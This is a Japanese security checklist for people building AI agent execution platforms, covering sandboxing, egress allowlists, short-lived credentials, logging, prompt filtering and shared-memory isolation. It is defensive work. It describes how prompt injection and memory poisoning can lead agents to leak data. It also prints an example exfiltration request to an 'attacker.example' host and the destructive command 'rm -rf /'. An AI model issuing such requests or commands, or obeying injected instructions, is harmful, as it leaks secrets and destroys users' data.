> ## Documentation Index
> Fetch the complete documentation index at: https://ai.brokenguardrail.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Agent Platform Security

> AIエージェント実行基盤の構築時に確認すべきセキュリティ対策の一覧

Claude Agent SDKやOpenClawをベースにした最新のAIエージェントは、初期状態からファイルシステム・シェル・ネットワークへの広範なアクセスを前提としています。これを実運用するには専用の実行基盤と強いセキュリティ制御が必要です。このチェックリストはAgent Platformの構築者が主要なセキュリティ課題を網羅できているかを確認するためのものです。

各項目は確認事項・なぜ必要か・推奨する対応で構成しています。

## 1. サンドボックスによる隔離

### 1.1 1セッション1環境

* [ ] AIエージェントのセッションごとに独立したコンテナまたはVMを割り当てている

**なぜ必要か:** 複数のエージェントが同じ環境を共有すると、あるエージェントのファイル編集が別のエージェントの編集と衝突します。認証情報がセッションをまたいで混線し、どのエージェントが何をしたのかを追跡できなくなります。

**推奨する対応:** セッションごとに使い捨ての環境を割り当てます。FirecrackerのようなmicroVM、コンテナ(Docker/Podman)、AWS Lambda・ECS・Google Cloud Run・GKEなどのマネージドサービスが選択肢になります。セッション終了時には環境を破棄します。

### 1.2 影響範囲の封じ込め

* [ ] AIエージェントが破壊的な操作(`rm -rf /`など)を行ってもサンドボックス内に影響が閉じる

**なぜ必要か:** シェルを扱えるAIエージェントは任意のコマンドを実行できます。隔離がなければ1度の誤りやPrompt Injection攻撃でホストのファイルが失われ、他のワークロードにも影響が及びます。

**推奨する対応:** 可能な範囲でルートファイルシステムを読み取り専用にし、書き込みが必要な作業ディレクトリだけをマウントします。不要なLinux capabilityをすべて削除し、コンテナ内では非rootユーザーで実行します。

## 2. ネットワーク制御

### 2.1 通信先の許可リスト

* [ ] 外部への通信先をドメインやエンドポイントの許可リストに限定している

**なぜ必要か:** Indirect Prompt Injection攻撃を受けたAIエージェントは、`curl`や任意のHTTPライブラリを使って攻撃者のエンドポイントへ機密データを送信できます。`https://attacker.example/collect?data=<secret>`のような単純なリクエスト1つで情報が外へ出ます。

**推奨する対応:** ドメインベースの許可リストを実装します。Codingエージェントであれば`github.com`・`npmjs.org`・`pypi.org`・自組織のコンテナレジストリなど、必要な宛先だけを許可します。Google CloudではFQDNルールを持つCloud NGFW、AWSではVPCとフォワードプロキシの組み合わせが使えます。それ以外の外向き通信はすべて拒否します。

### 2.2 HTTPレベルの検査

* [ ] 機密性の高い環境ではフォワードプロキシでHTTPリクエストを検査している

**なぜ必要か:** ドメインの許可リストだけでは、許可済みドメインに対するURLパラメーターやヘッダー・ボディを使ったデータ持ち出しを防げません。

**推奨する対応:** SquidやEnvoyなどのフォワードプロキシを経由させ、リクエストのURL・ヘッダー・ペイロードを検査して記録します。データ持ち出しの兆候を含むリクエストは遮断します。

## 3. 認証情報の管理

### 3.1 最小権限の原則

* [ ] AIエージェントにはタスクに必要な最小限の権限だけを与えている

**なぜ必要か:** AIエージェントは与えられた権限の中で実行可能なすべての処理を行うという前提に立つべきです。過剰な権限はPrompt Injectionや誤動作による被害をそのまま拡大します。

**推奨する対応:** 認証情報を渡す前に、どのリソースへどの操作が必要かを文書化します。書き込みが明確に必要でない限り読み取り専用に絞ります。複数ユーザーが使うエージェントでは、エージェントの権限が個々の利用者の権限を超えないことも確認します。詳細は[Confused Deputy Problem](/ja/risks/confused-deputy-problem)を参照してください。

### 3.2 認証情報の短期化

* [ ] エージェントへ渡す認証情報はすべて短時間(1時間程度)で失効する

**なぜ必要か:** 長期間有効なAPIキーは、Prompt Injectionやログ経由で流出すると有効期限まで悪用され続けます。LLMの支援を得た攻撃では侵入から管理者権限の取得までが数分で進みます。

**推奨する対応:** Workload IdentityによるOIDCベースのトークン交換で短期の認証情報を発行します。GitHubであればPersonal Access Tokenではなく、有効期限1時間のGitHub Appインストールアクセストークンを使います。長期間有効なAPIキーをエージェントの環境に置いてはいけません。

### 3.3 認証情報付与プロキシ

* [ ] 認証情報をエージェントの環境に置かず、プロキシ側で付与している

**なぜ必要か:** 短期の認証情報でも有効な間は流出しえます。エージェントが認証情報を一切保持しなければ、直接流出のリスクはほぼ消えます。

**推奨する対応:** [WardGate](https://github.com/wardgate/wardgate)のような認証情報付与プロキシを置き、エージェントからの外向きHTTPリクエストに認証ヘッダーを後付けして転送します。エージェントはプロキシのURLだけを知り、認証情報には触れません。エージェントのネットワーク内からのみ到達できる認証なしのリモートMCPサーバーを用意する方法もあります。

### 3.4 長期鍵を使わないコミット署名

* [ ] エージェントが作るGitコミットに、GPG鍵やSSH鍵を環境へ置かずに署名している

**なぜ必要か:** 署名付きコミットを必須とする組織は多い一方、GPG鍵やSSH鍵は長期間有効で機密性が高く、サンドボックスに置くと格好の標的になります。

**推奨する対応:** GitHubのGraphQL APIでコミットを作成すると自動的に署名が付きます。これをCLI化した[ghcommit](https://github.com/planetscale/ghcommit)を、有効期限1時間のGitHub Appインストールアクセストークンと組み合わせて使います。

### 3.5 リソースの復旧可能性

* [ ] エージェントが変更・削除できるリソースに復旧手段がある

**なぜ必要か:** AIエージェントは誤った更新や削除を行います。サードパーティのサービスでは、失われたデータをサービス自体の機能では戻せない場合があります。

**推奨する対応:** エージェントが動く前のリソースの状態をスナップショットやバックアップとして保持します。ソースコードではBranch Rulesetでデフォルトブランチへの直接pushを禁止し、PRレビューを必須にします。メール送信のように取り消せない操作にはHuman-in-the-Loopを組み込みます。

## 4. 可観測性

### 4.1 AIエージェントの行動ログ

* [ ] ツール呼び出し・コマンド実行・MCPサーバー呼び出しをすべて時刻付きで記録している

**なぜ必要か:** インシデント時には、エージェントがいつ何をどのパラメーターで実行したかを正確に再構成する必要があります。行動ログがなければ調査は成立しません。

**推奨する対応:** 行動ログの出力をエージェントの実装に組み込みます。Claude Code CLIの`claude -p`のように標準出力へ出ない場合は`~/.claude`ディレクトリのログを回収します。保管先は追記のみ可能な集約ログストアとし、保持期間を定めます。

### 4.2 LLM APIプロキシのログ

* [ ] LLM APIの呼び出しをプロキシ経由にしてプロンプトとレスポンスを記録している

**なぜ必要か:** LLM層のログにはエージェントの推論と判断の過程が残ります。なぜその行動を取ったのかを理解するにはこの記録が要ります。

**推奨する対応:** [LiteLLM](https://www.litellm.ai/)などのプロキシ経由でLLM APIを呼び出し、プロンプト・応答・トークン数・レイテンシを記録します。危険な応答をポリシーで検知して停止する[cencurity](https://github.com/cencurity/cencurity)のような仕組みの併用も検討します。

### 4.3 AIエージェントの計測

* [ ] フレームワーク層で複数ステップにまたがる処理をトレースしている

**なぜ必要か:** 個々のLLM呼び出しを見るだけでは全体像が掴めません。どのツールがどの順で呼ばれ、コンテキストがどう流れ、どこで失敗したのかを追う必要があります。

**推奨する対応:** [Datadog LLM Observability](https://www.datadoghq.com/blog/datadog-llm-observability/)・[LangSmith](https://www.langchain.com/langsmith/observability)・[Arize Phoenix](https://arize.com/docs/phoenix)などの計測ライブラリをエージェントのフレームワークに組み込みます。

### 4.4 ランタイムセキュリティ

* [ ] サンドボックス内で実行されるコマンドやプロセスをOSレベルで監視している

**なぜ必要か:** LLM層の監視だけでは捕捉できない脅威があります。悪意あるコマンドの実行・ハルシネーションで生まれたパッケージの導入・想定外のプロセス起動はOSレベルでしか見えません。

**推奨する対応:** [Falco](https://falco.org/)などのランタイムセキュリティツールをサンドボックス内で動かします。誤検知が多いためルールの調整が前提になります。存在しないパッケージ名を導入してしまう[slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks)のようなサプライチェーンリスクも監視対象に含めます。

## 5. Prompt Filtering

### 5.1 プロンプトガードレールの有効化

* [ ] 入力と出力の双方にプロンプトフィルタリングを適用している

**なぜ必要か:** プロンプトフィルタリングはPrompt Injection・プロンプト経由の情報流出・有害な出力に対する最低限の防御線になります。

**推奨する対応:** Google Cloudでは[Model Armor](https://cloud.google.com/security/products/model-armor)、AWSでは[Bedrock Guardrails](https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails.html)を有効化します。複数のエージェントへまとめて適用するなら[LiteLLM Guardrails](https://docs.litellm.ai/docs/proxy/guardrails/quick_start)のようにプロキシ層で実装します。

### 5.2 フィルタリングに依存しない多層防御

* [ ] セキュリティをプロンプトフィルタリングだけに依存させず、基盤側の制御を主軸にしている

**なぜ必要か:** プロンプトフィルタリングで攻撃を完全に防ぐことはできません。Agent Goal Hijackのように正規の命令の形をした攻撃は、直接的な命令の上書きより検知が困難です。

**推奨する対応:** プロンプトフィルタリングは多層防御の1層と位置づけます。このチェックリストが挙げる基盤側の制御(最小権限・認証情報付与プロキシ・通信先の許可リスト・Human-in-the-Loop)を主たる対策とします。フィルタリングは分かりやすい攻撃を止め、基盤の設計は巧妙な攻撃の被害範囲を抑えます。

## 6. 長期間有効な共有LLMメモリ

### 6.1 メモリのネームスペース分離

* [ ] LLMメモリをエージェントまたはセッション単位で分離している

**なぜ必要か:** 複数のエージェントが同じメモリ空間を共有すると、Indirect Prompt Injectionで混入した1件の汚染が長期間残り、参照したすべてのエージェントへ広がります。[Zombie Agents](https://arxiv.org/abs/2602.15654)が示した攻撃です。

**推奨する対応:** エージェントごとにネームスペースを厳密に分けます。共有が避けられない場合は、書き込み時にフィルタリングやHuman-in-the-Loopで内容を検証します。

### 6.2 メモリの監査ログ

* [ ] LLMメモリへの読み書きをすべて記録している

**なぜ必要か:** メモリが汚染されたとき、どのエージェントがいつ書き込み、どのエージェントがそれを読んだのかを遡る必要があります。

**推奨する対応:** 読み書きのたびにエージェントID・セッションID・時刻・内容のハッシュを記録します。異常な書き込みパターンにはアラートを設定します。

## 7. サプライチェーンセキュリティ

### 7.1 コンポーネントの検証

* [ ] AIエージェントフレームワーク・MCPサーバー・Agent Skillの出所を確認しバージョンを固定している

**なぜ必要か:** Agent Platformは大きな権限を扱います。サプライチェーン上のフレームワークやMCPサーバーが侵害されると、認証情報の窃取やデータ流出に直結します。

**推奨する対応:** 依存関係を正確なバージョンまたはコンテンツハッシュで固定します。定期的な棚卸しと更新を行い、コンテナイメージは可変のタグではなくダイジェスト(`image@sha256:...`)で指定します。

### 7.2 設定ファイルの読み取り専用化

* [ ] 設定ファイルを読み取り専用でマウントし、セッションをまたいで持ち越さない

**なぜ必要か:** 侵害されたエージェントが自身の設定を書き換えると、権限を広げたり悪意ある設定を次のセッションへ残したりできてしまいます。

**推奨する対応:** 設定ファイルの領域を読み取り専用でマウントします。セッションごとに信頼できる元から設定を生成し、前のセッションのファイルシステムを再利用しません。

## 8. 基盤自体のアクセス管理

### 8.1 エンドポイントの認証

* [ ] Agent PlatformのAPIやGatewayが認証を必須とし、アクセス制御なしでインターネットに公開されていない

**なぜ必要か:** 認証なしでGatewayを公開すると、誰でもエージェントを起動して認証情報を持ち出したり、セッションを遠隔操作したりできます。OpenClawで最も深刻だった問題がこれです。

**推奨する対応:** [Google Cloud IAP](https://cloud.google.com/security/products/iap)のようなIdentity-Aware Proxyの背後にGatewayを置きます。すべての操作でユーザー認証を要求し、制御用のエンドポイントを直接インターネットへ晒しません。

### 8.2 基盤アクセスの監査ログ

* [ ] セッション作成・指示の送信・結果の取得といった利用者の操作を記録している

**なぜ必要か:** 監査ログはインシデント調査とコンプライアンス、ガバナンスの前提になります。

**推奨する対応:** 利用者のidentity・時刻・操作種別・セッションIDを記録します。組織のSIEMと連携して一元的に監視します。

## 参考文献

* [Agent Platform Security Checklist](https://hi120ki.github.io/docs/ai-security/agent-platform-security-checklist/)
* [Agent Platformに必要なセキュリティ対策まとめ](https://hi120ki.github.io/ja/blog/posts/20260223/)
* [2026年のAI Securityの挑戦](https://hi120ki.github.io/ja/blog/posts/20260103/)